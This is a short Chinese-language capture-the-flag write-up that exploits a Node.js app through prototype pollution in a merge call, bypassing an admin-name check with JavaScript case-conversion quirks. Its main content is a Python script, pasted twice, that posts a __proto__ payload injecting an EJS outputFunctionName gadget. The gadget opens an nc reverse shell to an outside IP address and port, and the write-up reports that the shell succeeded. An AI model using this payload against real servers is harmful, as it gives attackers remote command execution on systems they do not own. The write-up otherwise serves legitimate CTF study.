看到log函数里面有merge,那么可以原型链污染了
| 12
 3
 4
 5
 6
 
 | function log(userInfo){
 let logItem = {"time":new Date().toString()};
 merge(logItem,userInfo);
 loginHistory.push(logItem);
 }
 
 | 
然后post/路由中调用了log
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | //So terrible code~
 app.post('/',function (req, res) {
 if(typeof req.body.user.username != "string"){
 res.end("error");
 }else {
 //console.log(req.body.user.username);
 if(config.forbidAdmin && req.body.user.username.includes("admin")){
 res.end("any admin user has been baned");
 }else {
 if(req.body.user.username.toUpperCase() === adminName.toUpperCase())
 //only log admin's activity
 log(req.body.user);
 res.end("ok");
 }
 }
 });
 
 | 
需要满足输入的username的大写要等于 “admin888”的大写,利用javascript的大小写特性,就可以绕过,然后试了试之前ejs模板的反弹shell
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | import requests
 url="http://121.37.167.12"
 proxy={"http":"http://127.0.0.1:8080"}
 
 r=requests.post(url,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2"}}},proxies=proxy)
 print r.text
 r=requests.get(url,proxies=proxy)
 print r.textimport requests
 url="http://121.37.167.12"
 proxy={"http":"http://127.0.0.1:8080"}
 
 r=requests.post(url,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2"}}},proxies=proxy)
 print r.text
 
 | 
反弹shell成功,cat app.js

题目源码